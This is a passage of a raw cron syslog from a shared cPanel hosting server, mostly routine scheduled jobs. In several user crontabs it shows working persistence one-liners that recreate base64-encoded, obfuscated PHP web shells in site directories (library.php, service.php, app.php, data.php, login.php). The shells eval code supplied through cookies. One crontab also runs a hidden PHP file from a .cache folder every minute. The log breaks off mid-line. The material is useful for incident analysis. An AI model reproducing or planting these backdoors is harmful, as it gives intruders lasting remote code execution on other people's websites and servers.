Jun  7 08:33:01 medusa CROND[8954]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:33:01 medusa CROND[8955]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:34:01 medusa CROND[10525]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:34:01 medusa CROND[10533]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:34:01 medusa CROND[10534]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:34:01 medusa CROND[10535]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:34:01 medusa CROND[10536]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:34:01 medusa CROND[10537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:34:01 medusa CROND[10541]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:34:01 medusa CROND[10542]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 08:34:01 medusa CROND[10546]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 08:34:01 medusa CROND[10551]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:34:01 medusa CROND[10552]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:34:01 medusa CROND[10553]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:34:01 medusa CROND[10550]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:35:01 medusa CROND[12237]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 08:35:01 medusa CROND[12241]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:35:01 medusa CROND[12242]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 08:35:01 medusa CROND[12251]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 08:35:01 medusa CROND[12261]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:35:01 medusa CROND[12262]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 08:35:01 medusa CROND[12263]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 08:35:01 medusa CROND[12264]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:35:01 medusa CROND[12265]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:35:01 medusa CROND[12267]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:35:01 medusa CROND[12270]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:35:01 medusa CROND[12266]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:35:01 medusa CROND[12279]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 08:35:01 medusa CROND[12281]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 08:35:01 medusa CROND[12282]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:35:01 medusa CROND[12284]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:35:01 medusa CROND[12285]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 08:35:01 medusa CROND[12289]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 08:35:01 medusa CROND[12291]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 08:35:01 medusa CROND[12293]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:35:01 medusa CROND[12286]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 08:35:01 medusa CROND[12295]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Jun  7 08:35:01 medusa CROND[12288]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 08:35:01 medusa CROND[12287]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 08:35:02 medusa CROND[12297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:36:01 medusa CROND[14130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:36:01 medusa CROND[14136]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:36:01 medusa CROND[14186]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 08:36:01 medusa CROND[14187]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:36:01 medusa CROND[14188]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 08:36:01 medusa CROND[14189]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo 